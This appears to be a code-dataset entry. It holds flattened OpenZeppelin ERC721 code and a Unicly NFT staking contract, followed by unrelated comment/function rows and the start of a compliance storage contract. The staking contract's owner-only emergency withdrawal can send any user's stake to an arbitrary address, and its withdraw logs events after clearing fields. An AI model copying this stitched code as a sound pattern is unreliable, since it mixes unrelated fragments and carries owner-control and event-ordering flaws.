uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: contracts/UnicStakingERC721.sol pragma solidity 0.6.12; contract UnicStakingERC721 is AccessControl, ERC721, IMintableCollection { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); constructor( string memory name, string memory symbol, string memory baseURI ) public ERC721(name, symbol) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); } function burn(uint256 tokenId) public override virtual { require( _isApprovedOrOwner(_msgSender(), tokenId), "UnicStakingERC721: caller is not owner nor approved" ); _burn(tokenId); } function setBaseURI(string memory baseURI) public { require( hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "UnicStakingERC721: must have admin role to change baseUri" ); _setBaseURI(baseURI); } function mint(address to, uint256 tokenId) public override virtual { require( hasRole(MINTER_ROLE, _msgSender()), "UnicStakingERC721: must have minter role to mint" ); _mint(to, tokenId); } } // File: contracts/interfaces/IUnicFactory.sol pragma solidity >=0.5.0; interface IUnicFactory { event TokenCreated(address indexed caller, address indexed uToken); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getUToken(address uToken) external view returns (uint); function uTokens(uint) external view returns (address); function uTokensLength() external view returns (uint); function createUToken(uint256 totalSupply, uint8 decimals, string calldata name, string calldata symbol, uint256 threshold, string calldata description) external returns (address); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: contracts/UnicStakingV4.sol pragma solidity 0.6.12; // This upgrade adds a getter/setter for the stakingToken + adds some emergency withdraw utilities contract UnicStakingV4 is Initializable, EmergencyWithdrawable, IRewardable, PausableUpgradeable { using SafeMath for uint256; using SafeERC20Upgradeable for IERC20Upgradeable; struct StakerInfo { uint256 nftId; uint256 amount; uint256 stakeStartTime; uint256 lockDays; uint256 rewardDebt; address rewardToken; uint16 multiplier; } struct LockMultiplier { uint16 multiplier; bool exists; } struct RewardPool { IERC20Upgradeable rewardToken; uint256 stakedAmount; uint256 stakedAmountWithMultipliers; uint256 totalRewardAmount; uint256 accRewardPerShare; uint256 lastRewardAmount; } IERC20Upgradeable private stakingToken; IMintableCollection private nftCollection; uint256 public minStakeAmount; uint256 private nftStartId; // NFT ID to staker info mapping(uint256 => StakerInfo) public stakes; // Each uToken should have its own poolcontracts/UnicStaking.sol:115:9 mapping(address => RewardPool) public pools; // Mapping from days => multiplier for timelock mapping(uint256 => LockMultiplier) public lockMultipliers; uint256 private constant DIV_PRECISION = 1e18; event AddRewards(address indexed rewardToken, uint256 amount); event Staked( address indexed account, address indexed rewardToken, uint256 nftId, uint256 amount, uint256 lockDays ); event Harvest(address indexed staker, address indexed rewardToken, uint256 nftId, uint256 amount); event Withdraw(address indexed staker, address indexed rewardToken, uint256 nftId, uint256 amount); event LogUpdateRewards(address indexed rewardToken, uint256 totalRewards, uint256 accRewardPerShare); modifier poolExists(address rewardToken) { require(address(pools[rewardToken].rewardToken) != address(0), "UnicStaking: Pool does not exist"); _; } modifier poolNotExists(address rewardToken) { require(address(pools[rewardToken].rewardToken) == address(0), "UnicStaking: Pool does already exist"); _; } IUnicFactory private factory; function initialize( IERC20Upgradeable _stakingToken, IMintableCollection _nftCollection, uint256 _nftStartId, uint256 _minStakeAmount ) public initializer { __Ownable_init(); stakingToken = _stakingToken; nftCollection = _nftCollection; nftStartId = _nftStartId; minStakeAmount = _minStakeAmount; } function setUnicFactory(IUnicFactory _factory) external onlyOwner { factory = _factory; } // lockdays are passed as seconds, multiplier in percentage from 100 (e.g. 170 for 70% on top) function setLockMultiplier(uint256 lockDays, uint16 multiplier) external onlyOwner { require(multiplier >= 100, "Minimum multiplier = 100"); lockMultipliers[lockDays] = LockMultiplier({ multiplier: multiplier, exists: true }); } // lockdays are passed as seconds function deleteLockMultiplier(uint256 lockDays) external onlyOwner { delete lockMultipliers[lockDays]; } function setMinStakeAmount(uint256 _minStakeAmount) external onlyOwner { minStakeAmount = _minStakeAmount; } function setNftStartId(uint256 _nftStartId) external onlyOwner { nftStartId = _nftStartId; } /** * @param amount Amount of staking tokens * @param lockDays How many days the staker wants to lock * @param rewardToken The desired reward token to stake the tokens for (most likely a certain uToken) */ function stake(uint256 amount, uint256 lockDays, address rewardToken) external whenNotPaused poolExists(rewardToken) { require( amount >= minStakeAmount, "UnicStaking: Amount must be greater than or equal to min stake amount" ); require( lockMultipliers[lockDays].exists, "UnicStaking: Invalid number of lock days specified" ); updateRewards(rewardToken); // transfer the staking tokens into the staking pool stakingToken.safeTransferFrom(msg.sender, address(this), amount); // now the data of the staker is persisted StakerInfo storage staker = stakes[nftStartId]; staker.stakeStartTime = block.timestamp; staker.amount = amount; staker.lockDays = lockDays; staker.multiplier = lockMultipliers[lockDays].multiplier; staker.nftId = nftStartId; staker.rewardToken = rewardToken; RewardPool storage pool = pools[rewardToken]; // the amount with lock multiplier applied uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier); staker.rewardDebt = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION); pool.stakedAmount = pool.stakedAmount.add(amount); pool.stakedAmountWithMultipliers = pool.stakedAmountWithMultipliers.add(virtualAmount); nftStartId = nftStartId.add(1); nftCollection.mint(msg.sender, nftStartId - 1); emit Staked(msg.sender, rewardToken, nftStartId - 1, amount, lockDays); } function withdraw(uint256 nftId) external whenNotPaused { StakerInfo storage staker = stakes[nftId]; require(address(staker.rewardToken) != address(0), "UnicStaking: No staker exists"); require( nftCollection.ownerOf(nftId) == msg.sender, "UnicStaking: Only the owner may withdraw" ); require( (staker.stakeStartTime.add(staker.lockDays)) < block.timestamp, "UnicStaking: Lock time not expired" ); updateRewards(staker.rewardToken); RewardPool storage pool = pools[address(staker.rewardToken)]; require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone"); // lets burn the NFT first nftCollection.burn(nftId); uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier); uint256 accumulated = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION); uint256 reward = accumulated.sub(staker.rewardDebt); // reset the pool props pool.stakedAmount = pool.stakedAmount.sub(staker.amount); pool.stakedAmountWithMultipliers = pool.stakedAmountWithMultipliers.sub(virtualAmount); uint256 staked = staker.amount; // reset all staker props staker.rewardDebt = 0; staker.amount = 0; staker.stakeStartTime = 0; staker.lockDays = 0; staker.nftId = 0; staker.rewardToken = address(0); stakingToken.safeTransfer(msg.sender, reward.add(staked)); emit Harvest(msg.sender, address(staker.rewardToken), nftId, reward); emit Withdraw(msg.sender, address(staker.rewardToken), nftId, staked); } function updateRewards(address rewardToken) private poolExists(rewardToken) { RewardPool storage pool = pools[rewardToken]; require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone"); if (pool.totalRewardAmount > pool.lastRewardAmount) { if (pool.stakedAmountWithMultipliers > 0) { uint256 reward = pool.totalRewardAmount.sub(pool.lastRewardAmount); pool.accRewardPerShare = pool.accRewardPerShare.add(reward.mul(DIV_PRECISION).div(pool.stakedAmountWithMultipliers)); } pool.lastRewardAmount = pool.totalRewardAmount; emit LogUpdateRewards(rewardToken, pool.lastRewardAmount, pool.accRewardPerShare); } } function createPool(address rewardToken) external poolNotExists(rewardToken) { require( rewardToken == 0x94E0BAb2F6Ab1F19F4750E42d7349f2740513aD5 || // UNIC rewardToken == 0x3d9233F15BB93C78a4f07B5C5F7A018630217cB3 || // first uToken (Unicly Genesis uUNICLY) factory.getUToken(rewardToken) > 0, "UnicStakingV2: rewardToken must be UNIC or uToken" ); RewardPool memory pool = RewardPool({ rewardToken: IERC20Upgradeable(rewardToken), stakedAmount: 0, stakedAmountWithMultipliers: 0, totalRewardAmount: 0, accRewardPerShare: 0, lastRewardAmount: 0 }); pools[rewardToken] = pool; } function addRewards(address rewardToken, uint256 amount) override external poolExists(rewardToken) { require(amount > 0, "UnicStaking: Amount must be greater than zero"); IERC20Upgradeable(rewardToken).safeTransferFrom(msg.sender, address(this), amount); RewardPool storage pool = pools[rewardToken]; pool.totalRewardAmount = pool.totalRewardAmount.add(amount); emit AddRewards(rewardToken, amount); } function harvest(uint256 nftId) external whenNotPaused { StakerInfo storage staker = stakes[nftId]; require(staker.nftId > 0, "UnicStaking: No staker exists"); require( nftCollection.ownerOf(nftId) == msg.sender, "UnicStaking: Only the owner may harvest" ); updateRewards(address(staker.rewardToken)); RewardPool memory pool = pools[address(staker.rewardToken)]; uint256 accumulated = virtualAmount(staker.amount, staker.multiplier).mul(pool.accRewardPerShare).div(DIV_PRECISION); uint256 reward; // this needs to be considered due to roundings in reward calculation if (accumulated > staker.rewardDebt) { reward = accumulated.sub(staker.rewardDebt); } staker.rewardDebt = accumulated; pool.rewardToken.safeTransfer(msg.sender, reward); emit Harvest(msg.sender, address(staker.rewardToken), nftId, reward); } function pendingReward(uint256 nftId) external view returns (uint256) { StakerInfo memory staker = stakes[nftId]; require(staker.nftId > 0, "StakingPool: No staker exists"); RewardPool memory pool = pools[address(staker.rewardToken)]; require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone"); uint256 accRewardPerShare = 0; // run a part from the updateRewards logic but don't persist anything if (pool.totalRewardAmount > pool.lastRewardAmount) { if (pool.stakedAmountWithMultipliers > 0) { uint256 reward = pool.totalRewardAmount.sub(pool.lastRewardAmount); accRewardPerShare = pool.accRewardPerShare.add(reward.mul(DIV_PRECISION).div(pool.stakedAmountWithMultipliers)); } } uint256 accumulated = virtualAmount(staker.amount, staker.multiplier).mul(accRewardPerShare).div(DIV_PRECISION); // this can happen due to roundings in the reward calculation if (staker.rewardDebt > accumulated) { return 0; } return accumulated.sub(staker.rewardDebt); } // returns the virtual amount after having a multiplier applied function virtualAmount(uint256 amount, uint256 multiplier) private view returns (uint256) { return amount.mul(multiplier.mul(DIV_PRECISION).div(100)).div(DIV_PRECISION); } // returns the stake with multiplier for an nftId function getStakeWithMultiplier(uint256 nftId) external view returns (uint256 stakeWithMultiplier){ StakerInfo memory staker = stakes[nftId]; stakeWithMultiplier = virtualAmount(staker.amount, staker.multiplier); } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function getStakingToken() external view returns (address) { return address(stakingToken); } // The initial deployment was done using UNIC as the staking token. We actually want to use xUNIC. That's why we // needed to add this setter. function setStakingToken(IERC20Upgradeable _stakingToken) external onlyOwner { stakingToken = _stakingToken; } // See doc of `setStakingToken`. This allows an emergency withdrawal of staked UNIC. function emergencyWithdrawStakes(uint256 nftId, address receiver) external onlyOwner { StakerInfo storage staker = stakes[nftId]; require(staker.nftId > 0, "UnicStaking: No staker exists"); updateRewards(staker.rewardToken); RewardPool storage pool = pools[address(staker.rewardToken)]; require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone"); uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier); uint256 accumulated = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION); uint256 reward = accumulated.sub(staker.rewardDebt); // reset the pool props pool.stakedAmount = pool.stakedAmount.sub(staker.amount); pool.stakedAmountWithMultipliers = pool.stakedAmountWithMultipliers.sub(virtualAmount); uint256 staked = staker.amount; // reset all staker props staker.rewardDebt = 0; staker.amount = 0; staker.stakeStartTime = 0; staker.lockDays = 0; staker.nftId = 0; staker.rewardToken = address(0); stakingToken.safeTransfer(receiver, reward.add(staked)); emit Harvest(receiver, address(staker.rewardToken), nftId, reward); emit Withdraw(receiver, address(staker.rewardToken), nftId, staked); } }
lockdays are passed as seconds
function deleteLockMultiplier(uint256 lockDays) external onlyOwner { delete lockMultipliers[lockDays]; }
380,224
./partial_match/1/0xB50A2c564558d5eE6420b8Fb8e3D44b1f1974E3f/sources/FarmFactory.sol
Number of allowed FarmGenerators/
function farmGeneratorsLength() external view returns (uint256) { return farmGenerators.length(); }
3,688,331
pragma solidity >=0.5.0 <0.6.0; import '../libs/collections/AddressMap.sol'; import "../libs/lifecycle/LockableDestroyable.sol"; import "../libs/ownership/Ownable.sol"; import "./IComplianceStorage.sol"; /** * Eternal Storage for compliance/rules. * * Keys: * All contracts should use the below pattern for key generation `keccak256({contractName}.{identifier}.{type})` * ({type} should use the default alias for the type, uint instead of uint<m>) * Any optional identifiers should follow the aformentioned keys. * * eg. * ``` * bytes32 key = keccak256("T0kenCompliance.freezes.address", addr); * storage.setAddress(key, addr); * * ... * * bytes32 key = keccak256("T0kenCompliance.rules.address", kind, index); * storage.getAddress(key); * ``` * * Web3: * When generating a key it is critical that you account for the width of all types used. * * For example, if you generate a key using: * keccak256(abi.encodePacked("T0kenCompliance.ruleCount.uint", fromKind)); <- where `fromKind` is a `uint8` * * The web3 code to replicate this would be: * web3.sha3(web3.toHex("T0kenCompliance.ruleCount.uint") + "00", {encoding:'hex'}) * * If the `fromKind` were a uint16: * web3.sha3(web3.toHex("T0kenCompliance.ruleCount.uint") + "0000", {encoding:'hex'}) * */ contract ComplianceStorage is IComplianceStorage, Ownable, LockableDestroyable { using AddressMap for AddressMap.Data; 